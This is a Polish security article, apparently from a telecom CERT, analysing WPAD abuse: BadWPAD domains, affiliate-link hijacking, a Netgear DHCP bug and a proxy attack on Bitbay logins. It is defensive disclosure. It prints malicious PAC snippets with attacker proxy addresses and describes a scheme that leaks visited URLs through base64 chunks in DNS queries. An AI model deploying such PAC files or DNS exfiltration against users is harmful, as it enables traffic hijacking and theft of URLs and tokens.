Jak WPADnąć w pułapkę

Denominacja złotego, likwidacja stołecznych trolejbusów, aresztowanie Kevina Mitnicka, powstanie Yahoo i eBaya, czy wreszcie manifest Unabombera, opublikowany w Washington Post i New York Timesie. Stare czasy, prawda? Aha, jeszcze jedno – wtedy zarejestrowano pierwsze CVE, związane z protokołem WPAD. Tym samym, który po dziś dzień wciąż spędza sen z powiek nie tylko bezpieczniakom.

Co to jest ten WPAD?

Jeśli akronim WPAD stanowi dla Was tajemnicę, rozwińmy go na Web Proxy Auto-Discovery Protocol, czyli protokół automatycznego wykrywanie sieciowego serwera proxy. Zerknijmy jeszczem co na ten temat Microsoft napisał w dokumentacji:
„(…) proces, za pomocą którego serwer proxy sieci Web jest identyfikowany przez system i używany do wysyłania żądań w imieniu klienta (…) system próbuje zlokalizować skrypt konfiguracji serwera proxy, który jest odpowiedzialny za zwracanie zestawu serwerów proxy, których można użyć dla żądania (…)”.

Mamy więc mechanizm który próbuje automatycznie zlokalizować skrypt, używany następnie przez system Windows do konfiguracji serwera proxy.

Włączenie WPAD w Windows

W jakich kolejnych krokach system operacyjny usiłuje zlokalizować plik konfiguracyjny?

•    DHCP – opcja 252 wskazująca na adres pliku konfiguracyjnego
•    DNS – plik konfiguracyjny  zostanie pobrany z domeny wpad.mojadomena
•    NetBIOS – jeżeli w naszej sieci istnieje maszyna o nazwie „wpad” zostanie ona odpytana o plik konfiguracyjny

W jaki sposób przestępcy mogą spróbować zaserwować złośliwy plik konfiguracyjny?

System operacyjny w pierwszej kolejności sprawdzi czy plik konfiguracyjny (.pac) jest wskazany przez DHCP.  Jeżeli tak – zostanie użyty. Warto się zatem zastanowić, czy zawsze ufamy serwerowi DHCP? Łącząc się np. przy użyciu WiFi w hotelu, na konferencji czy kawiarni? Tak naprawdę, to nieważne, czy mu ufamy. Nasz system operacyjny i tak użyje pliku z konfiguracją WPAD, który zostanie mu /wskazany.

Idźmy dalej. W jaki sposób Windows używa DNS do poszukiwań pliku konfiguracyjnego WPAD? Niezbyt finezyjnie. Załóżmy, że nasz komputer pracuje w domenie ad.superfirma.com.pl. Odpytane zostaną kolejno adresy:

http://wpad.ad.superfirma.com.pl/wpad.dat
http://wpad.superfirma.com.pl/wpad.dat
http://wpad.com.pl/wpad.dat

Jak widać w trzecim przypadku sprawy zaszły trochę za daleko. Domena wpad.com.pl nie ma nic wspólnego z domeną superfirma.com.pl. A odpytywana jest (czy raczej była) ze względu na podatność nazwaną BadWPAD.

Była i to wcale nie rzadko. Już w 2019 r. Adam Ziaja opublikował pracę dotyczącą ataków na polskich internautów właśnie przy użyciu BadWPAD. Już od 2007 roku (!) prywatna firma rejestrowała domeny zawierające „wpad” (np. wpad.pl, wpad.com.pl czy wpad.edu.pl). Po co? Po to, by złośliwy plik konfiguracyjny mógł, przekierowując linki z popularnych programów lojalnościowych, podmienić numer ID osoby polecającej. Obecnie domeny są pod kontrolą NASK.

Jakie jeszcze zagrożenia mogą spowodować, że nieświadomy internauta WPADnie w pułapkę? Odpowiednio spreparowany plik konfiguracyjny może posłużyć do wykradania zapytań DNS i całych adresów URL, nawet tych przesyłanych przez https. Jeżeli natomiast nasze połączenie nie jest szyfrowane atakujący może odczytać pełną treść komunikacji sieciowej.

Jak to wygląda dziś?

Impulsem do napisania tego artykułu jest niezmiennie wysoka ilość nieprawidłowo skonfigurowanych maszyn z mechanizmem WPAD, niestrudzenie i konsekwentnie usiłujących pobrać plik z konfiguracją z różnych dziwnych miejsc.

Podczas analizy zidentyfikowaliśmy 108 domen (TLD + 2nd Level Domain) które zawierają obecnie plik wpad.dat:

Większość z tych plików jest niegroźna i nie zawiera (na chwilę obecną) nic oprócz funkcji informującej, że połączenie powinno być zrealizowane bez użycia serwera proxy.

function FindProxyForURL(url,host)
{
    return „DIRECT”;
}

Z wyjątkiem 21 domen, które faktycznie kierują do złośliwych plików wpad.dat:

Nawet niezbyt wyrafinowana analiza potwierdza, iż nam na stwierdzić, że za procederem stoją przynajmniej trzy osoby/grupy.

Zacznijmy zatem od góry:

60dbf39b690718bac46bd570af840e26

To tak naprawdę JavaScript z pewnymi ograniczeniami. Szczególnie rozczulający w tym pliku jest wykomentowany fragment.

Twórca pliku prosi nas, żebyśmy wyłączyli WPAD. Do tego informuje nas, że ten złośliwy plik konfiguracyjny to tak naprawdę tylko Proof of Concept. No jasne, jakżeby inaczej.

Kod najpierw testuje, czy ruch jest szyfrowany. Jeżeli tak (lub adres docelowy jest adresem w sieci lokalnej) ruch ma omijać proxy.

W kolejnym kroku sprawdzamy, czy adres URL zawiera któreś ze 112 zdefiniowanych słów kluczowych, typowych dla programów partnerskich. Jeżeli tak, to ruch kierowany jest na zewnętrzne proxy.

Po co tak robić? Adresy te zawierają unikalne identyfikatory osób polecających w programach partnerskich. Przy takiej podmianie przestępca może umieścić w odpowiednim miejscu swój identyfikator, zgarniając prowizję.

8a24e1a5fea378657ba198afacf11642:
Ten plik jest dużo krótszy. Zabrakło nawet wstępu, w którym oszust solennie nas zapewnia, że wcale nie jest oszustem.

Widzimy też, że autor tego pliku jest mniej wybredny niż poprzedni. Wykluczył jedynie serwisy które generują duży wolumen danych i ruch lokalny. Wszystko inne przekierowywane jest na jego proxy.

fce50e5cd9992f227f7bcd9b6ba78493
Ostatni z analizowanych plików jest najbardziej rozbudowany.

W zmiennej channel zapisywane jest pierwsze 10 cyfr z sumy kontrolnej CRC z adresu URL. Następnie, jeżeli użyty jest nieszyfrowany protokół transmisji danych (http lub ftp), ruch przekierowywany jest na proxy.

Na koniec widzimy coś nowego – zdefiniowaną przez autora pliku konfiguracyjnego zmienną send. Jako parametry przyjmuje ona wcześniej obliczoną zmienną channel oraz adres URL. A co jest jej zadaniem?

Wartość zmiennej b64_data to wynik działania funkcji _encode na drugim parametrze zmiennej – adresie URL. Warto odnotować, że operacje te wykonywane są w kontekście przeglądarki użytkownika, więc adres URL jest dostępny w postaci niezaszyfrowanej. Funkcja _encode zdefiniowana jest wyżej ale dla czytelności artykułu nie będę jej wklejał. Nazwa zmiennej wskazuje, iż wartość adresu URL zmieniana jest na base64. Następnie w zmiennej chunks zapisywana jest tablica zawierająca podzieloną na części o długości 50 znaków wartość zmiennej base64. Zmienna chunk_idx użyta zostanie do numerowania. Teraz czas na główną część przedstawienia – uruchomienie w pętli funkcji _send_with_postfix.

JavaScript używany w plikach wpad.dat nie pozwala na wysyłanie zapytań http (XMLHttpRequest), problemem nie jest jednak wysyłanie zapytań DNS. Takie zapytanie będzie zawierało unikatową (powiedzmy) sumę kontrolną URLa, numer porządkowy wysłanej porcji danych oraz jej zawartość. Zmienna DNS_KEY  zadeklarowana jest na początku pliku i ma wartosć „.x.wpad.software”.

Pętla for wyśle więc zapytania DNS, zawierające zakodowany base64 adres URL. Przykładowe zapytanie będzie wygłądało następująco:

W.0{pierwsze 10 znaków CRC32 z URL}.I{numer porcji danych}.{50 znaków base64 z adresu URL}.{wartość losowa}.x.wpad.software

Wiemy już co się dzieje po stronie ofiary. A jakie aktywności wykonuje infrastuktura przestępcy?

Pomimo, ze zapytania DNSowe zostaną wysłane zgodnie z kolejnością, nic nie gwarantuje, że w takiej samej kolejności dotrą do docelowej maszyny. Dlatego przy metodzie eksfiltracji danych po DNS konieczne jest użycie indeksu, który pozwoli prawidłowo ponumerować wszystkie dane, docierające do serwera. Suma kontrolna CRC32 pozwala zidentyfikować powiązania między porcjami danych. Mając te informacje, atakujący zbiera wszystkie dane dotyczące konkretnego adresu URL (dzięki sumie kontrolnej), numeruje je (dzięki indeksowi), łączy base64 w całość, a następnie go dekoduje. Dzięki temu poznaje on adres URL odwiedzony przez przeglądarkę, nawet jeżeli użyty jest protokół https. Po co tyle zachodu? W treści linków często przesyłane są wrażliwe dane takie jak tokeny, dodatkowo sam link może być tajemnicą (np. niepubliczny adres Google Drive, YouTube czy Dropbox).

wpad.host – nowy atak (na Bitbay?)

Powyższe przypadki miały już swoje miejsce w bezpieczniackiej literaturze, będąc opisanymi dokładnie przez Adama Ziaję w 2019 roku. Jak widać, w zasadzie nic się nie zmieniło. Internauci nadal atakowani są w ten sam sposób, (prawdopodobnie) przez te same osoby, z wykorzystaniem tych samych domen.

Ten tekst nie powstałby jednak, gdyby nie „delikatny powiew świeżości” w postaci nowej odsłony tego ataku, wykrytej przez zespół CERT Orange Polska. Atak prowadzony jest z wykorzystaniem domeny „wpad.host” na której umieszczony został plik konfiguracyjny „wpad.dat”. Co warte odnotowania, atak skierowany jest na użytkowników polskiej giełdy kryptowalut Bitbay.

Na tym samym adresie IP (5.61.49.13) hostowane są również:
wpad.business
wpad.ph
wpad.tax

Zajrzyjmy zatem do środka skryptu:

function FindProxyForURL(url, host) {
if (shExpMatch(host,”auth.bitbay.net”))
      return 'PROXY 78.128.112.10:40846″;

return „DIRECT”;
}

Co to oznacza? Jeżeli użytkownik odwiedzi stronę logowania BitBay (auth.bitbay.net), jego przeglądarka połączy się przez proxy dostępne pod adresem 78.128.112.10 na porcie 40846. Czy atakujący pozna login i hasło osoby które połączą się przez jego proxy? Nie, połączenie jest szyfrowane i nawet ktoś mający kontrolę nad serwerem proxy nie może odczytać komunikacji. Czy zatem logowanie się gdziekolwiek z użyciem niezaufanego proxy to dobry pomysł? Cóż – oczywiście też nie.

Co przestępca zyskuje przepuszczając szyfrowany ruch przez swoje proxy? Na pierwszy rzut mózgu ciężko wskazać konkretne korzyści. Jednym z nieoczywistych skutków takiego postępowania jest uwiarygodnienie i budowanie reputacji adresu IP. Wyobraźmy sobie sytuację, w której przestępca chce przeprowadzić nieautoryzowaną transakcję. Nowoczesne i dobrze zabezpieczone serwisy banków i giełd kryptowalut posiadają systemy automatycznie wykrywające niestandardowe operacje na kontach klientów. Logowanie z podejrzanych adresów, jak np. VPN czy TOR, prawdopodobnie skończy się alertem, co w konsekwencji pokrzyżuje plany atakującego. Dlatego wykonywanie operacji z adresu, z którego poprzednio logowało się wielu użytkowników, z punktu widzenia przestępcy niesie wiele korzyści. Taki adres ma zbudowaną reputację i nie wydaje się, by wzbudził większe podejrzenia. Dodatkowo wątpię, żeby operator systemu antyfraudowego miał w sobie na tyle brawury, żeby podjąć decyzję o zbanowaniu IP, z którego regularnie loguje się wielu klientów.

Król jest jeden

Z analizy zapytań DNS w sieci Orange wynika, że bezsprzecznie najpopularniejszą domeną „WPADową” jest wpad.domain.name. Ilość zapytań do niej jest kilkudziesięciokrotnie większa niż zapytania do wszystkich innych tego typu domen razem wziętych. Skąd taka popularność? To pytanie nie należało do najprostszych, pomysłów było wiele ale jeden trop okazał się trafiony. Winowajcą tego zamieszania okazał się być… Netgear.

 
Dla celów testowych dokonałem poważnej inwestycji, wyposażając się w takie urządzenie za całe 11,15 PLN.

W czym tkwił problem? Przez błąd w konfiguracji DHCP w niektórych routerach tej firmy system Windows z włączonym WPAD próbował bowiem pobrać konfigurację proxy z adresu hxxp://wpad[.]domain[.]name/wpad.dat.

Przyjrzyjmy się bliżej opcjom DHCP, wysyłanym przez router Netgear D1500 N300:

 
Kluczem jest ostatnia linijka. Błąd został poprawiony w najnowszej wersji firmware 1.0.0.28. Ostatnia opcja została po prostu usunięta, co rozwiązuje problem z próbami połączeń:

Należy zaznaczyć, że choć obecnie pod wskazanym adresem nie znajduje się żaden plik konfiguracyjny, to nie zawsze tak było. W 2017 roku pod wskazanym adresem znajdował się plik o poniższej treści:

function FindProxyForURL(url, host) {
return 'PROXY 185.82.212.95:8080; DIRECT’;
}

System operacyjny który skorzystał z tego pliku ustawiał adres 185.82.212.95 jako domyślne proxy systemowe. Dlaczego akurat taki adres? To pozostanie tajemnicą – historyczne zapisy datują ostatnią aktywność związaną z tym adresem na 2018 rok, obecnie to IP jest w zasobach jednego z czeskich dostawców internetu.

Piotr Zarzycki